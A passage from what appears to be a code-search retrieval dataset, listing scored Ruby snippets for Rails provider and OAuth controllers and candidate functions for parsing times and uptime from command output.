"e4b2070872c67cf28a8c7691fa33795d", "score": "0.51822245", "text": "def create\n provider = Manage::Provider.find_by(login: manage_provider_params[:login])\n if provider\n flash_msg('danger', \"此账号已经存在\", 'new')\n else\n manage_provider = Manage::Provider.new(manage_provider_params)\n begin\n if manage_provider.save\n flash_msg('success', '添加供应商成功!', 'index')\n end\n rescue Exception => e\n flash_msg('danger', \"添加供应商失败!#{error_msg(manage_provider)}\", 'new')\n end\n end\n end", "title": "" }, { "docid": "cf8f5013d8d0647b76778624e828ce57", "score": "0.517392", "text": "def new\n\t\t@provider_account = ProviderAccount.find(params[:provider_account_id])\n\t\t@launch_configuration = @provider_account.launch_configurations.build\n\t\t@users = User.find(:all, :order => :login)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @launch_configuration }\n\t\tend\n\tend", "title": "" }, { "docid": "668a9988cb2cb561a2286c8e31a9ce0f", "score": "0.51725894", "text": "def new\n next_url = AppConfig.facebook_app_url + \"facebook/callback\"\n #next_url += (\"?request_ids=\" + params[:request_ids]) unless params[:request_ids].nil?\n @auth_url = Authentication.auth.client.web_server.authorize_url(\n :redirect_uri => next_url, :scope => AppConfig.facebook_perms\n )\n end", "title": "" }, { "docid": "47390fbab590bbd125427c701a40c681", "score": "0.5171531", "text": "def new\n @registry = @user.registries.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registry }\n end\n end", "title": "" }, { "docid": "dde3e8d213ba6f9bef116033294329e7", "score": "0.51704454", "text": "def new\n @rails_url = RailsUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rails_url }\n end\n end", "title": "" }, { "docid": "af6ae4ee5c968fa2ea73f9ab3264be70", "score": "0.5166464", "text": "def new\n @credential = Credential.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @credential }\n end\n end", "title": "" }, { "docid": "26f227dddc49844c11d1539f163dc7ff", "score": "0.5164358", "text": "def new\n build_client\n end", "title": "" }, { "docid": "c78cd447d918d9a2979f940942464ee8", "score": "0.5163002", "text": "def new\n # return if need_login true, true\n update_and_decorate\n response_service.title = \"New Site\"\n render :edit\n end", "title": "" }, { "docid": "ed6a1c096d012a33e15e4f530466c231", "score": "0.51397187", "text": "def create\n # puts \"provider_params #{provider_params}\"\n @provider = Provider.new(check_params)\n respond_to do |format|\n if @provider.save\n format.html { redirect_to providers_page_url, notice: 'Поставщик успешно создан.' }\n format.json { render :show, status: :created, location: @provider }\n else\n # puts \"@provider.errors #{@provider.errors.full_messages}\"\n # puts \"@provider #{@provider.to_json}\"\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46a5d505314b1785b7c318f10d4eb500", "score": "0.5128173", "text": "def add\n usage \"jiveapps oauth:add <servicename> <key> <secret>\"\n catch_args :servicename, :key, :secret\n\n display \"=== Registering a new OAuth Service: \\\"#{@servicename}\\\"\"\n response = jiveapps.add_oauth_service(app, @servicename, @key, @secret)\n list\n end", "title": "" }, { "docid": "4b84c6e3f4347a4d7b80f87fe63bbd52", "score": "0.51273656", "text": "def base_uri\n \"#{api}/provider\"\n end", "title": "" }, { "docid": "9b0dff42e89a6ee3f194df11754a3af3", "score": "0.5108805", "text": "def on_new_oauth!(oauth_response)\n authentications.new(\n \"uid\" => oauth_response[\"uid\"],\n \"provider\" => oauth_response[\"provider\"]\n )\n self\n end", "title": "" }, { "docid": "caad1533c08bda07f195ae8e7d36e751", "score": "0.5098944", "text": "def new\n @server_group = ServerGroup.new\n @account = User.find(session[:user_id]).account\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server_group }\n end\n end", "title": "" }, { "docid": "23f21a19a767ca5045b87f73d50be6cc", "score": "0.5096093", "text": "def create\n @v1_provider_operation = V1::ProviderOperation.new(v1_provider_operation_params)\n\n respond_to do |format|\n if @v1_provider_operation.save\n format.html { redirect_to @v1_provider_operation, notice: 'Provider operation was successfully created.' }\n format.json { render :show, status: :created, location: @v1_provider_operation }\n else\n format.html { render :new }\n format.json { render json: @v1_provider_operation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e284720809fd9693be4160c34e056810", "score": "0.50958526", "text": "def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end", "title": "" }, { "docid": "3046cadf8ed8b3481d926fc329044040", "score": "0.5088699", "text": "def update\n @oauth_remote_service_provider = OauthRemoteServiceProvider.find(params[:id])\n\n respond_to do |format|\n if @oauth_remote_service_provider.update_attributes(params[:oauth_remote_service_provider])\n flash[:notice] = 'OauthRemoteServiceProvider was successfully updated.'\n format.html { redirect_to(@oauth_remote_service_provider) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @oauth_remote_service_provider.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f56a326d709f05bd3dd9a80c6177034", "score": "0.50881386", "text": "def new\n @environment = current_user.environments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @environment }\n end\n end", "title": "" }, { "docid": "0a631725fe5da779a2e9df6ec8058854", "score": "0.5079835", "text": "def new\n @online_service = OnlineService.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @online_service }\n end\n end", "title": "" }, { "docid": "ff444404d09cea93d9ae54e9230f1eff", "score": "0.5079548", "text": "def new\n @rest_service = RestService.new\n params[:annotations] = { }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rest_service }\n end\n end", "title": "" }, { "docid": "b7d3715bfd2d8f10bbaeab439f8217ed", "score": "0.5058058", "text": "def index\n @oauth_remote_access_tokens = User.current.oauth_remote_access_tokens.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @oauth_remote_access_tokens }\n end\n end", "title": "" }, { "docid": "e280a5882430dd1c89dec52521d10ed5", "score": "0.50451404", "text": "def new_releases\n api_call(\"https://api.spotify.com/\",\"/v1/browse/new-releases\")\n end", "title": "" }, { "docid": "09bfbdff7f262ebeee7a7ad5909b84fd", "score": "0.50429934", "text": "def new\n @client_app = ClientApp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @seed }\n end\n end", "title": "" }, { "docid": "d2e2dfce8283a4e964aaa1d9e248a9db", "score": "0.5037814", "text": "def new\n @services_charger = ServicesCharger.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @services_charger }\n end\n end", "title": "" }, { "docid": "ad672b1f57a45fe4fab322976ecf50d2", "score": "0.50359464", "text": "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "title": "" }, { "docid": "299002ac0c20a06f800d27863365ccb4", "score": "0.50337577", "text": "def new\n @nossos_servico = NossosServico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end", "title": "" }, { "docid": "b6758b8e9b8e04d6503784075302a50d", "score": "0.5031878", "text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @vip_programmer_service }\n end\n end", "title": "" }, { "docid": "40e7259433d353902dee263c922a85ba", "score": "0.50318193", "text": "def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n ProviderAdmin.create(:member_id =>params[:member_id], :provider_id => @provider.id, :active=>true)\n format.html { redirect_to(@provider, :notice => 'Provider was successfully created.') }\n format.xml { render :xml => @provider, :status => :created, :location => @provider }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f92c1916192cac81bfaa2dcad36a37b3", "score": "0.5031749", "text": "def new\n @svn_module = SvnModule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @svn_module }\n end\n end", "title": "" }, { "docid": "8bad3d429719e99f88ede368b691f709", "score": "0.502726", "text": "def new\n @versioned_jnlp_url = MavenJnlp::VersionedJnlpUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @versioned_jnlp_url }\n end\n end", "title": "" }, { "docid": "639b5e0223484ea2be74e75f9006d890", "score": "0.5014372", "text": "def index\n presenters = ProviderOAuthFlowPresenter.wrap(self_authentication_providers, request, request.host)\n respond_with(presenters)\n end", "title": "" }, { "docid": "4c9050809fa686a4a2e92f895efe27a0", "score": "0.50101036", "text": "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "title": "" }, { "docid": "79afafa5d4f1e088e8ae9d87dc144df1", "score": "0.5007565", "text": "def new\n @repository = Repository.new\n @profile = current_user.profile\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @repository }\n end\n end", "title": "" }, { "docid": "f6f1bfc33779c54ac9938ac334283f06", "score": "0.50027615", "text": "def create\n @provider_provider_type = Provider::ProviderType.new(provider_provider_type_params)\n @provider_provider_type.user_created_id = current_user.id\n respond_to do |format|\n if @provider_provider_type.save\n format.html { redirect_to provider_provider_types_path, notice: I18n.t('provider_types.controller.create') }\n format.json { render :show, status: :created, location: @provider_provider_type }\n else\n format.html { render :new }\n format.json { render json: @provider_provider_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "62b2637fdb4508daf7e970d4956c6941", "score": "0.5000476", "text": "def new\n @registry = Registry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registry }\n end\n end", "title": "" }, { "docid": "e33034bb26d719b0096a00a3a06d4262", "score": "0.5000095", "text": "def new #given to config/routes.rb\n end", "title": "" }, { "docid": "23b0ee8117f979aa48d315c473fb023a", "score": "0.49976406", "text": "def new\n @git_repo = GitRepo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @git_repo }\n end\n end", "title": "" }, { "docid": "5fec55134337020975b26fef979f9717", "score": "0.4996228", "text": "def new\n @provision = Provision.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provision }\n end\n end", "title": "" } ]
219f00df740aeb7acc05bb7a34d08f9b
Extract time, which is in the master's stdout. Currently checking all stdout.
[ { "docid": "ea137e1c1b87df2f5ee84feb23a43018", "score": "0.5840404", "text": "def extract_times(sandbox_path, verbose=false)\n time = \"\"\n trig_times = {}\n Dir.glob(File.join(sandbox_path, \"**\", \"stdout_*\")) do |out_file|\n short_nm = /.*stdout_(.*)$/.match(out_file)[1]\n role = \"others\"\n File.new(out_file).each do |li|\n case li\n when /.*sw_rcv_token_trig.*/\n role = \"switches\"\n when /.*nd_from_sw.*/\n role = \"nodes\"\n when /^Total time in all triggers: (.*)/\n trig_tm = (($1.to_f) * 1000).to_i\n trig_times.has_key?(role) ? trig_times[role] << [short_nm, trig_tm] : \\\n trig_times[role] = [[short_nm, trig_tm]]\n role = \"others\"\n when /^Total time \\(ms\\): (.*)$/\n time = $1\n end\n end\n end\n s = \"\"\n s += \"Total time: #{time}\\n\"\n [\"nodes\", \"switches\"].each do |role|\n trig_times[role].sort!{|x,y| x[1] <=> y[1]}\n times = trig_times[role]\n num = times.length\n sum = times.inject(0){|acc,x| acc + x[1]}\n mean = sum.to_f / num\n median = num % 2 == 1 ? times[num/2][1] : (times[num/2 - 1][1] + times[num/2][1]) / 2.0\n min = times[0][1]\n max = times[-1][1]\n std_dev = Math.sqrt((times.inject(0){|acc,x| acc + (x[1] - mean)**2}) / num.to_f)\n s += \"#{role}: mean:#{mean.to_i}, median:#{median.to_i}, min:#{min}, max:#{max}, num:#{num}, std_dev:#{std_dev.to_i}\\n\"\n end\n puts s if verbose\n [time, trig_times, s]\nend", "title": "" } ]
[ { "docid": "0ece2d5ae81580593351ffc7c65f2720", "score": "0.63979244", "text": "def last_stdout\n strip_duration(@last_stdout)\n end", "title": "" }, { "docid": "64356142cdc178bcfcb0aa6b41429089", "score": "0.62599444", "text": "def get_timestamp(output)\n output.split(\"\\n\").first.match(/^\\[([^\\]]*)\\]/)[1].gsub(/\\/| |:/,'.')\n end", "title": "" }, { "docid": "6d8cc6f1c2d7c4d2a2c30a7bf308c21d", "score": "0.6109943", "text": "def time_command(unix_command)\n stdout, stderr, status = Open3.capture3(\"time #{unix_command} 2> /dev/null\")\n raise \"Command returned non-zero status code\" if status != 0\n\n results = {}\n stderr.split(\"\\n\").each do |line|\n unless line.strip.empty?\n type,value = line.split(\"\\t\")\n minutes,seconds = value.split(\"m\")\n milliseconds = minutes.to_f * 60 * 1000 + seconds.chomp(\"s\").to_f * 1000\n results[type] = milliseconds\n end\n end\n\n return results\nend", "title": "" }, { "docid": "858dc43279148123a97ed89a7e4f1b86", "score": "0.60467374", "text": "def get_time\n\t\tsynchronized do\n\t\t\[email protected] \"get_time\"\n\t\t\[email protected]_i\n\t\tend\n\tend", "title": "" }, { "docid": "55e6c777ec21503950e42cc232c264c8", "score": "0.6034547", "text": "def get_last_task_stime\n line = ''\n IO.popen(\"tail -n 1 #{TRACK_FILE}\") { |f| line = f.gets }\n if line == nil\n return false\n end\n\n line.split(\"\\t\").pop\n end", "title": "" }, { "docid": "2e8fecb7a2613fb6a9d86c9cda1abb92", "score": "0.5741301", "text": "def ssh_cmd_get_boottime(host_or_ip, options = {})\n logger = options.fetch(:logger, nil)\n\n ssh_cmd = ssh_cmd_base(host_or_ip)\n ssh_cmd << \"'echo $(($(date +%s) - $(cat /proc/uptime|cut -d \\\" \\\" -f 1|cut -d \\\".\\\" -f 1)))'\"\n ssh_cmd = ssh_cmd.map(&:chomp).join(\" \")\n retval = `#{ssh_cmd}`.split(\" \")[0].to_i\n if $?.exitstatus != 0\n msg = \"ssh-cmd '#{ssh_cmd}' to get datetime not successful\"\n logger ? logger.info(msg) : puts(msg)\n retval = 0\n end\n retval\n end", "title": "" }, { "docid": "89e415848f8c944ada75e9e2211631f1", "score": "0.571547", "text": "def processing_times\n total = ab_output.match(/Total:\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)/)\n ninety = ab_output.match(/ 90%\\s+([0-9.]+)/)\n ninetyfive = ab_output.match(/ 95%\\s+([0-9.]+)/)\n [total[1], total[2], total[4], ninety[1], ninetyfive[1], total[5]]\n end", "title": "" }, { "docid": "8c926d8bca1934b1f1d74051eaabe52d", "score": "0.56320804", "text": "def runtime\n details.at(\"div.subtext time[itemprop='duration']\")['datetime'].gsub(/[^\\d+]/, '').to_i rescue nil\n end", "title": "" }, { "docid": "37fce68b23d602c7a2bff9ef7941abdd", "score": "0.5631167", "text": "def ping\n\t\tresult = `ping -c 1 #{ip_address}`\n\t\t# Now extract the time that it took for the ping to come back\n\t\tresult = result.split(\"time=\").last.split(\" \").first\n\t\treturn result\n\tend", "title": "" }, { "docid": "0b652ee89d55eea04afc769c5548c81f", "score": "0.56310815", "text": "def get_time_pos \n send_cmd(\"get_time_pos\")\n end", "title": "" }, { "docid": "4fdf2de65e6beea5add861d92cba0ecd", "score": "0.5622362", "text": "def getTime (line, nFile)\n startT = Time.new\n \n $stdin.gets\n\n endT = Time.now\n endT = endT - startT\n line += \"#{endT}\\n\"\n nFile.puts(line)\n end", "title": "" }, { "docid": "6af7b8ddc74f5a028ede2f43ca1f0354", "score": "0.561329", "text": "def view_timestamp(file)\n\t#stamp = commandz(\"stat #{file}\")\n\t#if not stamp.empty?\n\t#\tputs \"#{FGRN}Current Time Stamp for #{HC}#{FWHT}: #{file.chomp}#{RS}\"\n\t#\tstamp.each { |x| puts \"#{FWHT}#{x.chomp}#{RS}\" }\n\t#end\n\n\t# Now we do it with just pure ruby :)\n\t#Stat our target file so we can enumerate all the info normal stat command might show.....\n\tfoo = File.stat(file)\n\tputs \"#{HC}#{FGRN}File#{FWHT}: #{file}\\t#{FGRN}Type#{FWHT}: #{foo.ftype}#{RS}\"\n\tputs \"#{HC}#{FGRN}Size#{FWHT}: #{foo.size}\\t#{FGRN}Blocks#{FWHT}: #{foo.blocks}\\t#{FGRN}IO Blocks#{FWHT}: #{foo.blksize}#{RS}\"\n\tputs \"#{HC}#{FGRN}Dev#{FWHT}: #{foo.dev}\\t#{FGRN}Inode#{FWHT}: #{foo.ino}\\t#{FGRN}Links#{FWHT}: #{foo.nlink}#{RS}\"\n\tputs \"#{HC}#{FGRN}Access#{FWHT}: #{sprintf(\"%o\", foo.mode)}\\t#{FGRN}UID#{FWHT}: #{foo.uid}\\t#{FGRN}GID#{FWHT}: #{foo.gid}#{RS}\"\n\tputs \"#{HC}#{FGRN}Access Time#{FWHT}: #{foo.atime}#{RS}\"\n\tputs \"#{HC}#{FGRN}Modify Time#{FWHT}: #{foo.mtime}#{RS}\"\n\tputs \"#{HC}#{FGRN}Change Time#{FWHT}: #{foo.ctime}#{RS}\"\n\tputs\nend", "title": "" }, { "docid": "994a2c6fcc6128dd0148d7e0beb23339", "score": "0.55890304", "text": "def print_time()\n puts \"\", @time_info\n end", "title": "" }, { "docid": "8b5518e43b95ec0d9e5651d748381e63", "score": "0.5574978", "text": "def last_timestamp\n lines.last.first\n rescue\n 0\n end", "title": "" }, { "docid": "a4f42d64a0403c3955fed391c0140906", "score": "0.5537715", "text": "def get_time()\n return @noko.css(\"li.g:first-of-type table table\")[0].text\n end", "title": "" }, { "docid": "51e824893d100fb10a3d2cc853e8d92a", "score": "0.55248904", "text": "def extract_ts(chunks)\n ts = chunks[fmt.index('t')]\n return parse_time(ts) if valid_timestamp?(ts)\n rescue TypeError\n Time.now.utc.to_i\n end", "title": "" }, { "docid": "e1248a60ec1ce42b61b6f28a8849e6b8", "score": "0.5504505", "text": "def time(text)\n if time?(text)\n Nickel.parse(text).occurrences[0].start_time.to_time\n else\n clean_text = clear_text(text)\n if time?(clean_text)\n Nickel.parse(clean_text).occurrences[0].start_time.to_time\n end\n end\n end", "title": "" }, { "docid": "2ac4ed68b1ebbf7070803a804797f8d6", "score": "0.5485158", "text": "def get_time_length \n send_cmd(\"get_time_length\")\n end", "title": "" }, { "docid": "5d4636d993c142060ee18535b3f5d7dd", "score": "0.5479032", "text": "def parse_last_run(str)\n if md=str.match(/puppet puppet-master\\[\\d+\\]: Compiled catalog for (.+) in environment \\w+ in .* seconds/)\n md.captures.first\n end\n end", "title": "" }, { "docid": "f89cfe040992295db1d9c22001aee065", "score": "0.5478839", "text": "def tim_get_output(subcommand, *flags)\n tim_get_command(subcommand, *flags) do |command|\n %x[#{command.join(' ')}]\n end\n end", "title": "" }, { "docid": "5fdbaf79667829c0437548f48ff49930", "score": "0.5470047", "text": "def time\n entry(MANIFEST).time\n end", "title": "" }, { "docid": "a0c0043e1ac897fb664ebdc8ea1bfd32", "score": "0.5443092", "text": "def parse\n line = @io.gets until md = /\\ATime before run:\\s+(?<time>.*)\\Z/.match(line)\n return unless md\n @db.date_time ||= DateTime.parse(md[:time])\n super\n @db[\"lparstat_out\"] = @db[\"lparstat_sum\"]\n end", "title": "" }, { "docid": "bccd5bba65ba37d7f17158da3b1281f4", "score": "0.54230195", "text": "def unix_time_first_commit\n ` cd /tmp/#{@repo} && git log --format=%ct | tail -1 `.to_i\n end", "title": "" }, { "docid": "ba7dde34c363964dd86a5820f97fb909", "score": "0.54212385", "text": "def get_vtk_time(file)\n # read the first 256 chars and split into lines\n a = IO.read(file, 256)\n a.split\n\n # parse out time= using a regex\n a = a.map{|l| l.sub!(/.*time= ([0-9e+\\-\\.]+).*/, '\\1')}\n\n # return first non-empty line\n a = a.delete_if{|l| l==nil}\n a.first.to_f\nend", "title": "" }, { "docid": "306b893509ec44df051b4f74bd486077", "score": "0.5419783", "text": "def booted_at\n match = /btime ([0-9]+)/.match(File.read('/proc/stat')) rescue nil\n\n if match && (match[1].to_i > 0)\n return match[1].to_i\n else\n return nil\n end\n end", "title": "" }, { "docid": "1bb3f3161c0981b9db0ab534498d8acf", "score": "0.54180974", "text": "def last_stdout\n @last_stdout.string if @last_stdout\n end", "title": "" }, { "docid": "b426ba1fcc5ec2e9b2f2ef985f83d42b", "score": "0.54175705", "text": "def locate_timestamp\n return nil unless headers\n\n header = HEADERS.find { |candidate| headers[candidate] }\n if header\n data = headers[header]\n data.to_s.gsub(/(t=|\\.)/, '')\n else\n nil\n end\n end", "title": "" }, { "docid": "74ce2f3ba77636b8fc293fb257da7a46", "score": "0.5410786", "text": "def boot_time\n raw = procfs_file(\"uptime\") { |file| file.read }\n Time.now - raw.split(/\\s/).first.to_f\n end", "title": "" }, { "docid": "0436e92a85e716cfcf1ba72f8f89d269", "score": "0.5402193", "text": "def report_time time\n end", "title": "" }, { "docid": "3879eacdd0ec1159ec5784be1fd53f2d", "score": "0.5372021", "text": "def get_log_time(line)\n data_string = line.match(/[\\w]*[\\s]*[\\w]*[\\s]*[^\\s]*/)[0]\n # the year is not included, so this will fail if the current year is different\n # for now we'll hack it to be the current year\n date = DateTime.parse(\"#{data_string} #{REPORT_YEAR}\")\nend", "title": "" }, { "docid": "ee960427c7f0713a84708dcd27445e28", "score": "0.53699505", "text": "def extract_stats(t)\n d = i = p = r = '-'\n\n t.output.split(\"\\n\").each do |l|\n case l\n when /==\\d+== definitely lost: ([0-9,]+) bytes in ([0-9,]+) blocks/\n d = format($1, $2)\n when /==\\d+== indirectly lost: ([0-9,]+) bytes in ([0-9,]+) blocks/\n i = format($1, $2)\n when /==\\d+== possibly lost: ([0-9,]+) bytes in ([0-9,]+) blocks/\n p = format($1, $2)\n when /==\\d+== still reachable: ([0-9,]+) bytes in ([0-9,]+) blocks/\n r = format($1, $2)\n end\n end\n\n MemcheckStats.new(d, i, p, r)\nend", "title": "" }, { "docid": "c70f774a06b5089f44282bd3fa81bfef", "score": "0.5365818", "text": "def time()\n return _request([\n 'time',\n '0'\n ])[0]\n end", "title": "" }, { "docid": "6469b9fd67619746ecfca57b657abd9a", "score": "0.53644025", "text": "def last_written_at\n entry = read(1).first\n entry.time if entry\n end", "title": "" }, { "docid": "b110b8c4ea06035976248c0cd5826e49", "score": "0.53619367", "text": "def get_time_running\n\tu = get_unix_time\n\tt = -9\n\tif @TIME > 0\n\t\tt = u - @TIME\n\tend\nend", "title": "" }, { "docid": "1403b8c35222cbca9b1061cd6b1e2836", "score": "0.53594786", "text": "def uptime\n File.foreach('/proc/uptime').each do |line|\n return line.split[0].to_i\n end\n end", "title": "" }, { "docid": "79cd5294ac17b148ebf5ea870e9016fe", "score": "0.53424025", "text": "def p(s) puts \"-- #{Time.now.strftime('[%H:%M:%S]')} #{s}\" end", "title": "" }, { "docid": "79cd5294ac17b148ebf5ea870e9016fe", "score": "0.53424025", "text": "def p(s) puts \"-- #{Time.now.strftime('[%H:%M:%S]')} #{s}\" end", "title": "" }, { "docid": "f7423c0d4508c4c5bd8fe21e9a7305a0", "score": "0.5338693", "text": "def split_time(line)\n str_part=line.split(\" --> \").first\n end_part=line.split(\" --> \").last\n\n str_seconds=get_time_in_seconds(str_part)\n end_seconds=get_time_in_seconds(end_part)\n return str_seconds.to_s,end_seconds.to_s\n end", "title": "" }, { "docid": "1ae234bdbac5807e8b244d923b95ac85", "score": "0.5336799", "text": "def short_display_time\n\t\tself.timestamp.strftime(\"%b %d %-l:%M %p\") + (self.is_full? ? \" (Waitlist)\" : \"\")\n\tend", "title": "" }, { "docid": "768737d1eac9564cb34eea2872b7209a", "score": "0.5335016", "text": "def get_time\n\t\[email protected]\n\tend", "title": "" }, { "docid": "6cd57e0f5722001a24b793ba8f7151d4", "score": "0.532542", "text": "def time\n start.try(:to_time).try(:strftime, '%-l:%M %P')\n end", "title": "" }, { "docid": "3f40c7233fd57bbe947cf08c1a0f3f8b", "score": "0.53221273", "text": "def startup_time\n pid = Instance.running_for_profile(2)[0].pid.to_s\n File.stat(File.join('/proc', pid)).ctime\n end", "title": "" }, { "docid": "1a129c1d79214db0043e8f8e7918dfc9", "score": "0.53190905", "text": "def update_system_time_stamp\n out = Jhead.call(\"-ft\", \"-q\", @match, @pattern)\n raise(JheadError.new, out) unless out.empty?\n end", "title": "" }, { "docid": "896af2574d8308460d6eb1a9f50d62e9", "score": "0.5317993", "text": "def sys_time()\n time_now = Time.now.to_s\n time = time_now[11..18] #get h,m,s \n return time\nend", "title": "" }, { "docid": "7410d0a72b281dfed5180a53a6801818", "score": "0.53170425", "text": "def tv_sec() end", "title": "" }, { "docid": "715d6ada7181bdef9e7a2fb18b52a30b", "score": "0.5313601", "text": "def get_time\n Process.clock_gettime(Process::CLOCK_MONOTONIC)\n end", "title": "" }, { "docid": "1847f8a9f561daea6a5eae5fec4d338c", "score": "0.5310148", "text": "def get_start_time()\n return process_stamp(@start_time)\n end", "title": "" }, { "docid": "39a715e8dc72afd517162423865d37f1", "score": "0.53083324", "text": "def test_check_good_time\n assert_output '' do\n time = '1553188611.560418000'\n prev_time = '1553188612.100418000'\n line_num = 0\n @verify.check_time(time, prev_time, line_num)\n end\n end", "title": "" }, { "docid": "b23f91905a6fd7615b40b3ac3a092aa7", "score": "0.5305501", "text": "def retrieve_and_print_worktime\n times = retrieve_worktime\n\n puts \"printing new worktime\"\n if (times[:over] > 0)\n puts \"Worktime: #{times[:over]} h\"\n else\n puts \"tasks.over: 0.0 h\"\n puts \"tasks.during: #{times[:during]} h\"\n puts \"tasks.into: #{times[:into]} h\"\n puts \"tasks.beyond: #{times[:beyond]} h\"\n end\n end", "title": "" }, { "docid": "5cb9974de2b971cf4f31a2c770a20199", "score": "0.5275519", "text": "def date()\n\n instructions = 'date'\n r = @ssh ? @ssh.exec!(instructions) : `#{instructions}`\n puts 'r: ' + r.inspect if @debug\n @results[:date] = r.chomp\n\n end", "title": "" }, { "docid": "0e6da19d802b67a48bc9b3e7d8d9ca4c", "score": "0.5251174", "text": "def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end", "title": "" }, { "docid": "0e6da19d802b67a48bc9b3e7d8d9ca4c", "score": "0.5251174", "text": "def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end", "title": "" }, { "docid": "0e6da19d802b67a48bc9b3e7d8d9ca4c", "score": "0.5251174", "text": "def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end", "title": "" }, { "docid": "f9d2710b48511b321fb9261fcdb9a542", "score": "0.5245869", "text": "def time()\n return self._request([\n 'time',\n '0'\n ])[0]\n end", "title": "" }, { "docid": "6e1ef408dba791b96ad45b246a88bd05", "score": "0.52451706", "text": "def time_exec(command)\n res = `(/usr/bin/time #{command}) 3>&1 1>/dev/null 2>&3`\n raise \"Expected '#{command}' to run successfully\" unless $?.success?\n\n regex = (RUBY_PLATFORM =~ /linux/) \\\n ? /.*([\\d\\.]{5,})elapsed.*/ \\\n : /.*([\\d\\.]{4,}) real.*/\n regex.match(res) { |md| return md[1].to_f * 1000 }\n\n raise \"Timing '#{command}' failed\"\nend", "title": "" }, { "docid": "f1b29172ae3ad786cf7300cb889f7b5c", "score": "0.5243155", "text": "def execution_time\n @process.instance_variable_get(:@execution_time).total\n end", "title": "" }, { "docid": "e77b38163317437b72135530d65c0690", "score": "0.523453", "text": "def parse_snapshot_names_from_output(cmd_output)\n header_text = 'Total snapshots:'\n snaps = cmd_output.split(\"\\n\").select { |s| !s.include? header_text }\n snaps.map { |s| s.strip }\n end", "title": "" }, { "docid": "b2475d24128f2869bbf434a5afeacb2c", "score": "0.52146345", "text": "def current_time\n\t\treturn run('return current_time').strip.to_i\n\tend", "title": "" }, { "docid": "3b91f39966b86c62000bf2e14f30f178", "score": "0.5207853", "text": "def building_time\n @process.instance_variable_get(:@building_time).total\n end", "title": "" }, { "docid": "ac3db12169a34f7ad69e4d490ca5f336", "score": "0.51973766", "text": "def utime(*) end", "title": "" }, { "docid": "2a35f9db4ea2c8ea8b83086f946ed761", "score": "0.51868904", "text": "def log(output)\n the_time = Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n puts \"#{the_time}: #{output}\"\nend", "title": "" }, { "docid": "e8030e32e489ff432ed256643eb2da66", "score": "0.51722705", "text": "def system_milis\n system(\"date +%s%3N > all_rubies_tmp_time\")\n tmp_time_file = open(\"all_rubies_tmp_time\", \"r\")\n tmp_time_file.gets.to_i\nend", "title": "" }, { "docid": "e8030e32e489ff432ed256643eb2da66", "score": "0.51722705", "text": "def system_milis\n system(\"date +%s%3N > all_rubies_tmp_time\")\n tmp_time_file = open(\"all_rubies_tmp_time\", \"r\")\n tmp_time_file.gets.to_i\nend", "title": "" }, { "docid": "e8030e32e489ff432ed256643eb2da66", "score": "0.51722705", "text": "def system_milis\n system(\"date +%s%3N > all_rubies_tmp_time\")\n tmp_time_file = open(\"all_rubies_tmp_time\", \"r\")\n tmp_time_file.gets.to_i\nend", "title": "" }, { "docid": "7642057136d21d1f4f036b097d4ca2eb", "score": "0.5168988", "text": "def time_command(command)\n before = Time.new\n result = system command\n after = Time.new\n return result, after - before\n end", "title": "" }, { "docid": "8180584d6d84e8d90c50047df51584de", "score": "0.51657337", "text": "def grabTime(str)\n if /(\\,\\s)(\\d.+\\.\\m\\.)/.match(str)\n /(\\,\\s)(\\d.+\\.\\m\\.)/.match(str)[2]\n else\n \"Ongoing\"\n end\n end", "title": "" }, { "docid": "364fbd0dcaa0a0cb927f684b59c5a65f", "score": "0.51574177", "text": "def time\n return @time\n end", "title": "" }, { "docid": "f63d68d64fe7e89aa2bdb11ec204dec9", "score": "0.51533955", "text": "def time(stack)\n ::Time.from_evolver_timestamp(file(stack)[0...14])\n end", "title": "" }, { "docid": "89e8a5dbabf579686449e5e901e3b360", "score": "0.51504016", "text": "def 